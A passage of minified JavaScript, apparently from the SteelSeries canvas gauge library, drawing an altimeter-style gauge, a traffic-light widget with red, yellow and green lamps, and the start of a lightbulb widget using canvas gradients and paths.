o,bt,at,ut,ui,ri,fi,k,vt,vi,ct,lt,ai,a=0,li=10,l=a,yt=0,kt=0,wt=0,nt,ht,pt,rr=1,g,u,f,c,h,hi,e=r.getElementById(n).getContext(\"2d\"),hr=Math.PI/2,cr=Math.PI/180,ur=Math.PI,ci=!1,ot=t(o,o),bi=ot.getContext(\"2d\"),et=t(o,o),it=et.getContext(\"2d\"),yi,pi=t(o,o),tr=pi.getContext(\"2d\"),ti=t(o,o),ir=ti.getContext(\"2d\"),ni=t(o,o),or=ni.getContext(\"2d\"),ii=t(o,o),sr=ii.getContext(\"2d\"),ei=t(o,o),fr=ei.getContext(\"2d\"),oi=t(o,o),er=oi.getContext(\"2d\"),b=t(o,o),s=b.getContext(\"2d\"),ft=t(o,o),si=ft.getContext(\"2d\"),d,st;i=i||{},o=undefined===i.size?200:i.size,bt=undefined===i.frameDesign?steelseries.FrameDesign.METAL:i.frameDesign,at=undefined===i.frameVisible?!0:i.frameVisible,ut=undefined===i.backgroundColor?steelseries.BackgroundColor.DARK_GRAY:i.backgroundColor,ui=undefined===i.backgroundVisible?!0:i.backgroundVisible,ri=undefined===i.knobType?steelseries.KnobType.METAL_KNOB:i.knobType,fi=undefined===i.knobStyle?steelseries.KnobStyle.BLACK:i.knobStyle,k=undefined===i.lcdColor?steelseries.LcdColor.BLACK:i.lcdColor,vt=undefined===i.lcdVisible?!0:i.lcdVisible,vi=undefined===i.digitalFont?!1:i.digitalFont,ct=undefined===i.foregroundType?steelseries.ForegroundType.TYPE1:i.foregroundType,lt=undefined===i.foregroundVisible?!0:i.foregroundVisible,ai=undefined===i.customLayer?null:i.customLayer,e.save(),e.clearRect(0,0,e.canvas.width,e.canvas.height),e.canvas.width=o,e.canvas.height=o,u=o,f=o,c=u/2,h=f/2,hi=Math.floor(u*.09)+\"px sans-serif\";var di=function(n){e.save(),e.textAlign=\"right\",e.textBaseline=\"middle\",e.strokeStyle=k.textColor,e.fillStyle=k.textColor,(k===steelseries.LcdColor.STANDARD||k===steelseries.LcdColor.STANDARD_GREEN)&&(e.shadowColor=\"gray\",e.shadowOffsetX=u*.007,e.shadowOffsetY=u*.007,e.shadowBlur=u*.009),e.font=vi?Math.floor(u*.075)+\"px \"+tt:Math.floor(u*.075)+\"px sans-serif\",e.fillText(Math.round(n),(u+u*.4)/2-4,u*.607,u*.4),e.restore()},ki=function(n,t,i,r,f,e){var it=Math.max(u*.012,2),rt=Math.max(u*.007,1.5),d=u*.13,g=u*.05,nt=u*.07,v=u*.4,b=0,ft=0,p=0,y=0,k,w,tt=-i-t/2;for(n.save(),n.textAlign=\"center\",n.textBaseline=\"middle\",n.font=hi,n.strokeStyle=ut.labelColor.getRgbaColor(),n.fillStyle=ut.labelColor.getRgbaColor(),k=tt,w=0;w<=10;k-=e*.1,w+=.1)p=Math.sin(k),y=Math.cos(k),b%2==0&&(n.lineWidth=rt,n.beginPath(),n.moveTo(c+(v-g)*p,h+(v-g)*y),n.lineTo(c+v*p,h+v*y),n.closePath(),n.stroke()),(b===10||b===0)&&(n.lineWidth=it,t===0&&Math.round(w)!==li&&n.fillText(Math.round(w).toString(),c+(v-d)*p,h+(v-d)*y),b=0,ft++,n.beginPath(),n.moveTo(c+(v-nt)*p,h+(v-nt)*y),n.lineTo(c+v*p,h+v*y),n.closePath(),n.stroke()),b++;n.restore()},dt=function(n,t){var i;t?(n.fillStyle=\"rgba(0, 0, 0, 0.5)\",n.strokeStyle=\"rgba(0, 0, 0, 0.5)\"):(i=n.createLinearGradient(0,f*.168224,0,f*.626168),i.addColorStop(0,\"#ffffff\"),i.addColorStop(.31,\"#ffffff\"),i.addColorStop(.3101,\"#ffffff\"),i.addColorStop(.32,\"#202020\"),i.addColorStop(1,\"#202020\"),n.fillStyle=i),n.save(),n.beginPath(),n.moveTo(u*.518691,f*.471962),n.bezierCurveTo(u*.514018,f*.471962,u*.509345,f*.467289,u*.509345,f*.467289),n.lineTo(u*.509345,f*.200934),n.lineTo(u*.5,f*.168224),n.lineTo(u*.490654,f*.200934),n.lineTo(u*.490654,f*.467289),n.bezierCurveTo(u*.490654,f*.467289,u*.481308,f*.471962,u*.481308,f*.471962),n.bezierCurveTo(u*.471962,f*.481308,u*.467289,f*.490654,u*.467289,f*.5),n.bezierCurveTo(u*.467289,f*.514018,u*.476635,f*.528037,u*.490654,f*.53271),n.bezierCurveTo(u*.490654,f*.53271,u*.490654,f*.579439,u*.490654,f*.588785),n.bezierCurveTo(u*.485981,f*.593457,u*.481308,f*.59813,u*.481308,f*.607476),n.bezierCurveTo(u*.481308,f*.616822,u*.490654,f*.626168,u*.5,f*.626168),n.bezierCurveTo(u*.509345,f*.626168,u*.518691,f*.616822,u*.518691,f*.607476),n.bezierCurveTo(u*.518691,f*.59813,u*.514018,f*.593457,u*.504672,f*.588785),n.bezierCurveTo(u*.504672,f*.579439,u*.504672,f*.53271,u*.509345,f*.53271),n.bezierCurveTo(u*.523364,f*.528037,u*.53271,f*.514018,u*.53271,f*.5),n.bezierCurveTo(u*.53271,f*.490654,u*.528037,f*.481308,u*.518691,f*.471962),n.closePath(),n.fill(),t&&blur(n,u,f,Math.floor(u*.006)),n.restore()},gt=function(n,t){var i;t?(n.fillStyle=\"rgba(0, 0, 0, 0.5)\",n.strokeStyle=\"rgba(0, 0, 0, 0.5)\"):(i=n.createLinearGradient(0,f*.401869,0,f*.616822),i.addColorStop(0,\"#ffffff\"),i.addColorStop(.51,\"#ffffff\"),i.addColorStop(.52,\"#ffffff\"),i.addColorStop(.5201,\"#202020\"),i.addColorStop(.53,\"#202020\"),i.addColorStop(1,\"#202020\"),n.fillStyle=i),n.beginPath(),n.moveTo(u*.518691,f*.471962),n.bezierCurveTo(u*.514018,f*.462616,u*.528037,f*.401869,u*.528037,f*.401869),n.lineTo(u*.5,f*.331775),n.lineTo(u*.471962,f*.401869),n.bezierCurveTo(u*.471962,f*.401869,u*.485981,f*.462616,u*.481308,f*.471962),n.bezierCurveTo(u*.471962,f*.481308,u*.467289,f*.490654,u*.467289,f*.5),n.bezierCurveTo(u*.467289,f*.514018,u*.476635,f*.528037,u*.490654,f*.53271),n.bezierCurveTo(u*.490654,f*.53271,u*.462616,f*.574766,u*.462616,f*.593457),n.bezierCurveTo(u*.467289,f*.616822,u*.5,f*.612149,u*.5,f*.612149),n.bezierCurveTo(u*.5,f*.612149,u*.53271,f*.616822,u*.537383,f*.593457),n.bezierCurveTo(u*.537383,f*.574766,u*.509345,f*.53271,u*.509345,f*.53271),n.bezierCurveTo(u*.523364,f*.528037,u*.53271,f*.514018,u*.53271,f*.5),n.bezierCurveTo(u*.53271,f*.490654,u*.528037,f*.481308,u*.518691,f*.471962),n.closePath(),n.fill(),t&&blur(n,u,f,Math.floor(u*.006)),n.restore()},wi=function(n,t){t?(n.fillStyle=\"rgba(0, 0, 0, 0.5)\",n.strokeStyle=\"rgba(0, 0, 0, 0.5)\"):n.fillStyle=\"#ffffff\",n.beginPath(),n.moveTo(u*.518691,f*.471962),n.bezierCurveTo(u*.514018,f*.471962,u*.514018,f*.467289,u*.514018,f*.467289),n.lineTo(u*.514018,f*.317757),n.lineTo(u*.504672,f*.303738),n.lineTo(u*.504672,f*.182242),n.lineTo(u*.53271,f*.116822),n.lineTo(u*.462616,f*.116822),n.lineTo(u*.495327,f*.182242),n.lineTo(u*.495327,f*.299065),n.lineTo(u*.485981,f*.317757),n.lineTo(u*.485981,f*.467289),n.bezierCurveTo(u*.485981,f*.467289,u*.485981,f*.471962,u*.481308,f*.471962),n.bezierCurveTo(u*.471962,f*.481308,u*.467289,f*.490654,u*.467289,f*.5),n.bezierCurveTo(u*.467289,f*.518691,u*.481308,f*.53271,u*.5,f*.53271),n.bezierCurveTo(u*.518691,f*.53271,u*.53271,f*.518691,u*.53271,f*.5),n.bezierCurveTo(u*.53271,f*.490654,u*.528037,f*.481308,u*.518691,f*.471962),n.closePath(),n.fill(),t&&blur(n,u,f,Math.floor(u*.006))};return d=function(n){var e,t,r,i;n=n||{},e=undefined===n.frame?!1:n.frame,t=undefined===n.background?!1:n.background,r=undefined===n.pointers?!1:n.pointers,i=undefined===n.foreground?!1:n.foreground,ci=!0,gi(),e&&at&&v(bi,bt,c,h,u,f),t&&ui&&(w(it,ut,c,h,u,f),rt(it,ai,c,h,u,f),ki(it,0,ur,0,10,nt,rr,0,!0,!0,null)),t&&vt&&(yi=p(u*.4,f*.09,k),it.drawImage(yi,(u-u*.4)/2,f*.56)),r&&(dt(fr,!1),dt(er,!0),gt(or,!1),gt(sr,!0),wi(tr,!1),wi(ir,!0)),i&&lt&&y(si,ct,u,f,!0,ri,fi)},st=function(n){var r,u,t,i;n=n||{},r=undefined===n.frame?!1:n.frame,u=undefined===n.background?!1:n.background,t=undefined===n.pointers?!1:n.pointers,i=undefined===n.foreground?!1:n.foreground,r&&(ot.width=o,ot.height=o,bi=ot.getContext(\"2d\")),u&&(et.width=o,et.height=o,it=et.getContext(\"2d\")),t&&(pointer100ftBuffer.width=o,pointer100ftBuffer.height=o,pointer100ftContext=pointer100ftBuffer.getContext(\"2d\"),pointer100ftShadowBuffer.width=o,pointer100ftShadowBuffer.height=o,pointer100ftShadowContext=pointer100ftShadowBuffer.getContext(\"2d\"),pointer1000ftBuffer.width=o,pointer1000ftBuffer.height=o,pointer1000ftContext=pointer1000ftBuffer.getContext(\"2d\"),pointer1000ftShadowBuffer.width=o,pointer1000ftShadowBuffer.height=o,pointer1000ftShadowContext=pointer1000ftShadowBuffer.getContext(\"2d\"),pointer10000ftBuffer.width=o,pointer10000ftBuffer.height=o,pointer10000ftContext=pointer10000ftBuffer.getContext(\"2d\"),pointer10000ftShadowBuffer.width=o,pointer10000ftShadowBuffer.height=o,pointer10000ftShadowContext=pointer10000ftShadowBuffer.getContext(\"2d\"),b.width=o,b.height=o,s=b.getContext(\"2d\")),i&&(ft.width=o,ft.height=o,si=ft.getContext(\"2d\"))},this.setValue=function(n){l=n,this.repaint()},this.getValue=function(){return l},this.setValueAnimated=function(n){var t=n<a?a:n,r=this,i;l!==t&&(undefined!==g&&g.playing&&g.stop(),i=Math.max(Math.abs(l-t)/2e3,1),g=new Tween({},\"\",Tween.regularEaseInOut,l,t,i),g.onMotionChanged=function(n){l=n.target._pos,r.repaint()},g.start())},this.setFrameDesign=function(n){st({frame:!0}),bt=n,d({frame:!0}),this.repaint()},this.setBackgroundColor=function(n){st({background:!0,pointer:!0}),ut=n,d({background:!0,pointer:!0}),this.repaint()},this.setForegroundType=function(n){st({foreground:!0}),ct=n,d({foreground:!0}),this.repaint()},this.setLcdColor=function(n){k=n,d({background:!0}),this.repaint()},this.repaint=function(){ci||d({frame:!0,background:!0,led:!0,pointers:!0,foreground:!0}),e.clearRect(0,0,e.canvas.width,e.canvas.height),at&&e.drawImage(ot,0,0),e.drawImage(et,0,0),vt&&di(l),nr();var n=u*.006*.5;s.clearRect(0,0,u,f),s.save(),s.translate(c,h),s.rotate((wt-a)*pt),s.translate(-c,-h),s.drawImage(ti,0,0),s.restore(),e.drawImage(b,0,0,u,f,n,n,u+n,f+n),e.save(),e.translate(c,h),e.rotate((wt-a)*pt),e.translate(-c,-h),e.drawImage(pi,0,0),e.restore(),s.clearRect(0,0,u,f),s.save(),s.translate(c,h),s.rotate((kt-a)*ht),s.translate(-c,-h),s.drawImage(ii,0,0),s.restore(),e.drawImage(b,0,0,u,f,n,n,u+n,f+n),n=u*.006*.75,e.save(),e.translate(c,h),e.rotate((kt-a)*ht),e.translate(-c,-h),e.drawImage(ni,0,0),e.restore(),n=u*.006,s.clearRect(0,0,u,f),s.save(),s.translate(c,h),s.rotate((yt-a)*nt),s.translate(-c,-h),s.drawImage(oi,0,0),s.restore(),e.drawImage(b,0,0,u,f,n,n,u+n,f+n),e.save(),e.translate(c,h),e.rotate((yt-a)*nt),e.translate(-c,-h),e.drawImage(ei,0,0),e.restore(),lt&&e.drawImage(ft,0,0)},this.repaint(),this},lr=function(n,t){function at(n,t,i){var u=r.createElement(\"canvas\");return u.width=n,u.height=t,i(u.getContext(\"2d\")),u}var w,b,f,tt,i,u,d=!1,nt=!1,g=!1,rt=!1,k=r.createElement(\"canvas\"),bt=k.getContext(\"2d\"),p=r.createElement(\"canvas\"),ft=p.getContext(\"2d\"),s=r.createElement(\"canvas\"),kt=s.getContext(\"2d\"),h=r.createElement(\"canvas\"),wt=h.getContext(\"2d\"),o=r.createElement(\"canvas\"),yt=o.getContext(\"2d\"),e=r.createElement(\"canvas\"),pt=e.getContext(\"2d\"),c=r.createElement(\"canvas\"),dt=c.getContext(\"2d\"),v=r.createElement(\"canvas\"),ii=v.getContext(\"2d\"),l=r.createElement(\"canvas\"),ri=l.getContext(\"2d\"),a=r.createElement(\"canvas\"),ti=a.getContext(\"2d\"),y,it;t=t||{},w=undefined===t.width?98:t.width,b=undefined===t.height?278:t.height,f=r.getElementById(n).getContext(\"2d\"),f.save(),f.clearRect(0,0,f.canvas.width,f.canvas.height),f.canvas.width=w,f.canvas.height=b,tt=w<b*.352517?w*2.836734:b,i=tt*.352517,u=tt,k.width=i,k.height=u,p.width=i,p.height=u,s.width=i,s.height=u,h.width=i,h.height=u,o.width=i,o.height=u,e.width=i,e.height=u,c.width=i,c.height=u,v.width=i,v.height=u,l.width=i,l.height=u,a.width=i,a.height=u;var gt=function(n){var r,t;n.save(),n.save(),n.beginPath(),n.moveTo(.107142*i,0),n.lineTo(i-.107142*i,0),n.quadraticCurveTo(i,0,i,.107142*i),n.lineTo(i,u-.107142*i),n.quadraticCurveTo(i,u,i-.107142*i,u),n.lineTo(.107142*i,u),n.quadraticCurveTo(0,u,0,u-.107142*i),n.lineTo(0,.107142*i),n.quadraticCurveTo(0,0,.107142*i,u),n.closePath(),r=n.createLinearGradient(.040816*i,.007194*u,.952101*i,.995882*u),r.addColorStop(0,\"rgb(152, 152, 154)\"),r.addColorStop(.01,\"rgb(152, 152, 154)\"),r.addColorStop(.09,\"#333333\"),r.addColorStop(.24,\"rgb(152, 152, 154)\"),r.addColorStop(.55,\"rgb(31, 31, 31)\"),r.addColorStop(.78,\"#363636\"),r.addColorStop(.98,\"#000000\"),r.addColorStop(1,\"#000000\"),n.fillStyle=r,n.fill(),n.restore(),n.save(),n.beginPath(),n.moveTo(.030612*i+.084183*i,.010791*u),n.lineTo(.030612*i+.938775*i-.084183*i,.010791*u),n.quadraticCurveTo(.030612*i+.938775*i,.010791*u,.030612*i+.938775*i,.010791*u+.084183*i),n.lineTo(.030612*i+.938775*i,.010791*u+.978417*u-.084183*i),n.quadraticCurveTo(.030612*i+.938775*i,.010791*u+.978417*u,.030612*i+.938775*i-.084183*i,.010791*u+.978417*u),n.lineTo(.030612*i+.084183*i,.010791*u+.978417*u),n.quadraticCurveTo(.030612*i,.010791*u+.978417*u,.030612*i,.010791*u+.978417*u-.084183*i),n.lineTo(.030612*i,.010791*u+.084183*i),n.quadraticCurveTo(.030612*i,.010791*u,.030612*i+.084183*i,.010791*u),n.closePath(),t=n.createLinearGradient(-.132653*i,-.053956*u,2.061408*i,.667293*u),t.addColorStop(0,\"#000000\"),t.addColorStop(.01,\"#000000\"),t.addColorStop(.16,\"#373735\"),t.addColorStop(.31,\"#000000\"),t.addColorStop(.44,\"#303030\"),t.addColorStop(.65,\"#000000\"),t.addColorStop(.87,\"#363636\"),t.addColorStop(.98,\"#000000\"),t.addColorStop(1,\"#000000\"),n.fillStyle=t,n.fill(),n.restore(),n.restore()},ni=function(n){var t,f,r,e;n.save(),n.save(),n.scale(1,1),n.beginPath(),n.arc(.5*i,.805755*u,.397959*i,0,2*Math.PI,!1),t=n.createLinearGradient(0,.665467*u,0,.946043*u),t.addColorStop(0,\"#ffffff\"),t.addColorStop(.05,\"rgb(204, 204, 204)\"),t.addColorStop(.1,\"rgb(153, 153, 153)\"),t.addColorStop(.17,\"#666666\"),t.addColorStop(.27,\"#333333\"),t.addColorStop(1,\"#010101\"),n.fillStyle=t,n.fill(),n.restore(),n.save(),n.scale(1.083333,1),n.beginPath(),n.arc(.461538*i,.816546*u,.367346*i,0,2*Math.PI,!1),f=n.createLinearGradient(0,.68705*u,0,.946043*u),f.addColorStop(0,\"#000000\"),f.addColorStop(.35,\"#040404\"),f.addColorStop(.66,\"#000000\"),f.addColorStop(1,\"#010101\"),n.fillStyle=f,n.fill(),n.restore(),n.save(),n.scale(1,1),n.beginPath(),n.arc(.5*i,.809352*u,.357142*i,0,2*Math.PI,!1),r=n.createRadialGradient(.5*i,.809352*u,0,.5*i,.809352*u,.362244*i),r.addColorStop(0,\"#000000\"),r.addColorStop(.88,\"#000000\"),r.addColorStop(.95,\"rgb(94, 94, 94)\"),r.addColorStop(1,\"#010101\"),n.fillStyle=r,n.fill(),n.restore(),n.save(),n.scale(1,1),n.beginPath(),n.arc(.5*i,.809352*u,.357142*i,0,2*Math.PI,!1),e=n.createLinearGradient(0,.68705*u,0,.917266*u),e.addColorStop(0,\"#000000\"),e.addColorStop(1,\"rgba(1, 1, 1, 0)\"),n.fillStyle=e,n.fill(),n.restore(),n.restore()},et=function(n){var r,t;n.save(),n.save(),n.scale(1,1),n.beginPath(),n.arc(.5*i,.809352*u,.32653*i,0,2*Math.PI,!1),r=n.createRadialGradient(.5*i,.809352*u,0,.5*i,.809352*u,.32653*i),r.addColorStop(0,\"rgb(85, 185, 123)\"),r.addColorStop(1,\"rgb(0, 31, 0)\"),n.fillStyle=r,n.fill(),n.restore(),n.save(),n.beginPath(),n.moveTo(0,.812949*u),n.bezierCurveTo(0,.910071*u,.224489*i,.989208*u,.5*i,.989208*u),n.bezierCurveTo(.77551*i,.989208*u,i,.910071*u,i,.809352*u),n.bezierCurveTo(.908163*i,.751798*u,.704081*i,.68705*u,.5*i,.68705*u),n.bezierCurveTo(.285714*i,.68705*u,.081632*i,.751798*u,0,.812949*u),n.closePath(),t=n.createRadialGradient(.5*i,.809352*u,0,.5*i,.809352*u,.515306*i),t.addColorStop(0,\"rgb(65, 187, 126)\"),t.addColorStop(1,\"rgba(4, 37, 8, 0)\"),n.fillStyle=t,n.fill(),n.restore(),n.restore()},ot=function(n){var r,t;n.save(),n.save(),n.scale(1,1),n.beginPath(),n.arc(.5*i,.809352*u,.32653*i,0,2*Math.PI,!1),r=n.createRadialGradient(.5*i,.809352*u,0,.5*i,.809352*u,.32653*i),r.addColorStop(0,\"rgba(0, 255, 0, 0.25)\"),r.addColorStop(1,\"rgba(0, 255, 0, 0.05)\"),n.fillStyle=r,n.fill(),n.restore(),n.save(),n.scale(1,1),n.beginPath(),n.arc(.5*i,.809352*u,.32653*i,0,2*Math.PI,!1),t=n.createRadialGradient(.5*i,.809352*u,0,.5*i,.809352*u,.32653*i),t.addColorStop(0,\"rgba(1, 1, 1, 0)\"),t.addColorStop(.55,\"rgba(0, 0, 0, 0)\"),t.addColorStop(.5501,\"rgba(0, 0, 0, 0)\"),t.addColorStop(.78,\"rgba(0, 0, 0, 0.12)\"),t.addColorStop(.79,\"rgba(0, 0, 0, 0.12)\"),t.addColorStop(1,\"rgba(0, 0, 0, 0.5)\"),n.fillStyle=t,n.fill(),n.restore(),n.fillStyle=n.createPattern(y,\"repeat\"),n.fill(),n.restore()},st=function(n){var t,f,r,e;n.save(),n.save(),n.scale(1,1),n.beginPath(),n.arc(.5*i,.496402*u,.397959*i,0,2*Math.PI,!1),t=n.createLinearGradient(0,.356115*u,0,.63669*u),t.addColorStop(0,\"#ffffff\"),t.addColorStop(.05,\"rgb(204, 204, 204)\"),t.addColorStop(.1,\"rgb(153, 153, 153)\"),t.addColorStop(.17,\"#666666\"),t.addColorStop(.27,\"#333333\"),t.addColorStop(1,\"#010101\"),n.fillStyle=t,n.fill(),n.restore(),n.save(),n.scale(1.083333,1),n.beginPath(),n.arc(.461538*i,.507194*u,.367346*i,0,2*Math.PI,!1),f=n.createLinearGradient(0,.377697*u,0,.63669*u),f.addColorStop(0,\"#000000\"),f.addColorStop(.35,\"#040404\"),f.addColorStop(.66,\"#000000\"),f.addColorStop(1,\"#010101\"),n.fillStyle=f,n.fill(),n.restore(),n.save(),n.scale(1,1),n.beginPath(),n.arc(.5*i,.5*u,.357142*i,0,2*Math.PI,!1),r=n.createRadialGradient(.5*i,.5*u,0,.5*i,.5*u,.362244*i),r.addColorStop(0,\"#000000\"),r.addColorStop(.88,\"#000000\"),r.addColorStop(.95,\"#5e5e5e\"),r.addColorStop(1,\"#010101\"),n.fillStyle=r,n.fill(),n.restore(),n.save(),n.scale(1,1),n.beginPath(),n.arc(.5*i,.5*u,.357142*i,0,2*Math.PI,!1),e=n.createLinearGradient(0,.377697*u,0,.607913*u),e.addColorStop(0,\"#000000\"),e.addColorStop(1,\"rgba(1, 1, 1, 0)\"),n.fillStyle=e,n.fill(),n.restore(),n.restore()},ut=function(n){var r,t;n.save(),n.save(),n.scale(1,1),n.beginPath(),n.arc(.5*i,.5*u,.32653*i,0,2*Math.PI,!1),r=n.createRadialGradient(.5*i,.5*u,0,.5*i,.5*u,.32653*i),r.addColorStop(0,\"#fed434\"),r.addColorStop(1,\"#82330c\"),n.fillStyle=r,n.fill(),n.restore(),n.save(),n.beginPath(),n.moveTo(0,.503597*u),n.bezierCurveTo(0,.600719*u,.224489*i,.679856*u,.5*i,.679856*u),n.bezierCurveTo(.77551*i,.679856*u,i,.600719*u,i,.5*u),n.bezierCurveTo(.908163*i,.442446*u,.704081*i,.377697*u,.5*i,.377697*u),n.bezierCurveTo(.285714*i,.377697*u,.081632*i,.442446*u,0,.503597*u),n.closePath(),t=n.createRadialGradient(.5*i,.5*u,0,.5*i,.5*u,.515306*i),t.addColorStop(0,\"#fed434\"),t.addColorStop(1,\"rgba(130, 51, 12, 0)\"),n.fillStyle=t,n.fill(),n.restore(),n.restore()},vt=function(n){var r,t;n.save(),n.save(),n.scale(1,1),n.beginPath(),n.arc(.5*i,.5*u,.32653*i,0,2*Math.PI,!1),r=n.createRadialGradient(.5*i,.5*u,0,.5*i,.5*u,.32653*i),r.addColorStop(0,\"rgba(255, 255, 0, 0.25)\"),r.addColorStop(1,\"rgba(255, 255, 0, 0.05)\"),n.fillStyle=r,n.fill(),n.restore(),n.save(),n.scale(1,1),n.beginPath(),n.arc(.5*i,.5*u,.32653*i,0,2*Math.PI,!1),t=n.createRadialGradient(.5*i,.5*u,0,.5*i,.5*u,.32653*i),t.addColorStop(0,\"rgba(1, 1, 1, 0)\"),t.addColorStop(.55,\"rgba(0, 0, 0, 0)\"),t.addColorStop(.5501,\"rgba(0, 0, 0, 0)\"),t.addColorStop(.78,\"rgba(0, 0, 0, 0.12)\"),t.addColorStop(.79,\"rgba(0, 0, 0, 0.13)\"),t.addColorStop(1,\"rgba(0, 0, 0, 0.5)\"),n.fillStyle=t,n.fill(),n.restore(),n.fillStyle=n.createPattern(y,\"repeat\"),n.fill(),n.restore()},lt=function(n){var t,f,r,e;n.save(),n.save(),n.scale(1,1),n.beginPath(),n.arc(.5*i,.18705*u,.397959*i,0,2*Math.PI,!1),t=n.createLinearGradient(.5*i,.046762*u,.5*i,.327338*u),t.addColorStop(0,\"#ffffff\"),t.addColorStop(.05,\"#cccccc\"),t.addColorStop(.1,\"#999999\"),t.addColorStop(.17,\"#666666\"),t.addColorStop(.27,\"#333333\"),t.addColorStop(1,\"#010101\"),n.fillStyle=t,n.fill(),n.restore(),n.save(),n.scale(1.083333,1),n.beginPath(),n.arc(.461538*i,.197841*u,.367346*i,0,2*Math.PI,!1),f=n.createLinearGradient(.5*i,.068345*u,.5*i,.327338*u),f.addColorStop(0,\"#000000\"),f.addColorStop(.35,\"#040404\"),f.addColorStop(.66,\"#000000\"),f.addColorStop(1,\"#010101\"),n.fillStyle=f,n.fill(),n.restore(),n.save(),n.scale(1,1),n.beginPath(),n.arc(.5*i,.190647*u,.357142*i,0,2*Math.PI,!1),r=n.createRadialGradient(.5*i,.190647*u,0,.5*i,.190647*u,.362244*i),r.addColorStop(0,\"#000000\"),r.addColorStop(.88,\"#000000\"),r.addColorStop(.95,\"#5e5e5e\"),r.addColorStop(1,\"#010101\"),n.fillStyle=r,n.fill(),n.restore(),n.save(),n.scale(1,1),n.beginPath(),n.arc(.5*i,.190647*u,.357142*i,0,2*Math.PI,!1),e=n.createLinearGradient(.5*i,.068345*u,.5*i,.298561*u),e.addColorStop(0,\"#000000\"),e.addColorStop(1,\"rgba(1, 1, 1, 0)\"),n.fillStyle=e,n.fill(),n.restore(),n.restore()},ct=function(n){var r,t;n.save(),n.save(),n.scale(1,1),n.beginPath(),n.arc(.5*i,.190647*u,.32653*i,0,2*Math.PI,!1),r=n.createRadialGradient(.5*i,.190647*u,0,.5*i,.190647*u,.32653*i),r.addColorStop(0,\"#ff0000\"),r.addColorStop(1,\"#410004\"),n.fillStyle=r,n.fill(),n.restore(),n.save(),n.beginPath(),n.moveTo(0,.194244*u),n.bezierCurveTo(0,.291366*u,.224489*i,.370503*u,.5*i,.370503*u),n.bezierCurveTo(.77551*i,.370503*u,i,.291366*u,i,.190647*u),n.bezierCurveTo(.908163*i,.133093*u,.704081*i,.068345*u,.5*i,.068345*u),n.bezierCurveTo(.285714*i,.068345*u,.081632*i,.133093*u,0,.194244*u),n.closePath(),t=n.createRadialGradient(.5*i,.190647*u,0,.5*i,.190647*u,.515306*i),t.addColorStop(0,\"#ff0000\"),t.addColorStop(1,\"rgba(118, 5, 1, 0)\"),n.fillStyle=t,n.fill(),n.restore(),n.restore()},ht=function(n){var r,t;n.save(),n.save(),n.scale(1,1),n.beginPath(),n.arc(.5*i,.190647*u,.32653*i,0,2*Math.PI,!1),r=n.createRadialGradient(.5*i,.190647*u,0,.5*i,.190647*u,.32653*i),r.addColorStop(0,\"rgba(255, 0, 0, 0.25)\"),r.addColorStop(1,\"rgba(255, 0, 0, 0.05)\"),n.fillStyle=r,n.fill(),n.restore(),n.save(),n.scale(1,1),n.beginPath(),n.arc(.5*i,.190647*u,.32653*i,0,2*Math.PI,!1),t=n.createRadialGradient(.5*i,.190647*u,0,.5*i,.190647*u,.32653*i),t.addColorStop(0,\"rgba(1, 1, 1, 0)\"),t.addColorStop(.55,\"rgba(0, 0, 0, 0)\"),t.addColorStop(.5501,\"rgba(0, 0, 0, 0)\"),t.addColorStop(.78,\"rgba(0, 0, 0, 0.12)\"),t.addColorStop(.79,\"rgba(0, 0, 0, 0.13)\"),t.addColorStop(1,\"rgba(0, 0, 0, 0.5)\"),n.fillStyle=t,n.fill(),n.restore(),n.fillStyle=n.createPattern(y,\"repeat\"),n.fill(),n.restore()};return y=at(2,2,function(n){n.save(),n.strokeStyle=\"rgba(0, 0, 0, 0.1)\",n.beginPath(),n.lineTo(0,0,1,0),n.lineTo(0,1,0,1),n.stroke(),n.restore()}),it=function(){rt=!0,gt(bt),ni(ft),et(kt),ot(wt),st(yt),ut(pt),vt(dt),lt(ii),ct(ri),ht(ti)},this.setRedOn=function(n){d=n,this.repaint()},this.isRedOn=function(){return d},this.setYellowOn=function(n){nt=n,this.repaint()},this.isYellowOn=function(){return nt},this.setGreenOn=function(n){g=n,this.repaint()},this.isGreenOn=function(){return g},this.repaint=function(){rt||it(),f.save(),f.clearRect(0,0,f.canvas.width,f.canvas.height),f.drawImage(k,0,0),f.drawImage(p,0,0),g&&f.drawImage(s,0,0),f.drawImage(h,0,0),f.drawImage(o,0,0),nt&&f.drawImage(e,0,0),f.drawImage(c,0,0),f.drawImage(v,0,0),d&&f.drawImage(l,0,0),f.drawImage(a,0,0),f.restore()},this.repaint(),this},yr=function(n,t){function tt(n,t,i){var u=r.createElement(\"canvas\");return u.width=n,u.height=t,i(u.getContext(\"2d\")),u}var f,l,c,e,a,u,i,b=!1,v=!1,y=1,h=r.createElement(\"canvas\"),g=h.getContext(\"2d\"),o=r.createElement(\"canvas\"),ut=o.getContext(\"2d\"),s=r.createElement(\"canvas\"),it=s.getContext(\"2d\"),p;t=t||{},l=undefined===t.width?100:t.width,c=undefined===t.height?100:t.height,e=undefined===t.glowColor?\"#ffff00\":t.glowColor,f=document.getElementById(n).getContext(\"2d\"),f.save(),f.clearRect(0,0,f.canvas.width,f.canvas.height),f.canvas.width=l,f.canvas.height=c,a=l<c?l:c,u=a,i=a,p=function(n){var t,i=tt(1,1,function(t){t.fillStyle=n,t.beginPath(),t.rect(0,0,1,1),t.fill()});return t=i.getContext(\"2d\").getImageData(0,0,2,2).data,[t[0],t[1],t[2]]},h.width=u,h.height=i,o.width=u,o.height=i,s.width=u,s.height=i;var rt=function(n){var t;n.save(),n.clearRect(0,0,n.canvas.width,n.canvas.height),n.save(),n.beginPath(),n.moveTo(.289473*u,.438596*i),n.bezierCurveTo(.289473*u,.561403*i,.385964*u,.605263*i,.385964*u,.745614*i),n.bezierCurveTo(.385964*u,.745614*i,.587719*u,.745614*i,.587719*u,.745614*i),n.bezierCurveTo(.587719*u,.605263*i,.692982*u,.561403*i,.692982*u,.438596*i),n.bezierCurveTo(.692982*u,.324561*i,.605263*u,.22807*i,.5*u,.22807*i),n.bezierCurveTo(.385964*u,.22807*i,.289473*u,.324561*i,.289473*u,.438596*i),n.closePath(),t=n.createLinearGradient(0,.289473*i,0,.701754*i),t.addColorStop(0,\"#eeeeee\"),t.addColorStop(.99,\"#999999\"),t.addColorStop(1,\"#999999\"),n.fillStyle=t,n.fill(),n.lineCap=\"butt\",n.lineJoin=\"round\",n.lineWidth=.008771*u,n.strokeStyle=\"#cccccc\",n.stroke(),n.restore(),n.restore()},d=function(n){var 